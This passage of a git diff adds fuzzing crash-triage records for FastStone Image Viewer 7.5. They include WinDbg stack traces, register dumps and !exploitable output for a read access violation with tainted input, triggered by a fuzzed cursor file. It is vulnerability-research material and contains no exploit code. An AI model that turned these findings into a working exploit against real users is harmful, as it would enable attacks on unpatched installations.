+CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8549024 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/66952/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..434f7b1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8fb107a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B48: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B48: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b48.1328): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07de7b10 edx=00003879 esi=ff230010 edi=0fd04fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.698825805255558240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.502036400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.47552e-023 2.68007e+020 -1.76006e+031 2.7836e+038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ec8130 07e45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00227000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00227000 733ecba7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00227000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8fb107a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B48: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B48: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b48.1328): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07de7b10 edx=00003879 esi=ff230010 edi=0fd04fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.698825805255558240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.502036400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=8.47552e-023 2.68007e+020 -1.76006e+031 2.7836e+038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ec8130 07e45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00227000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00227000 733ecba7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00227000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax 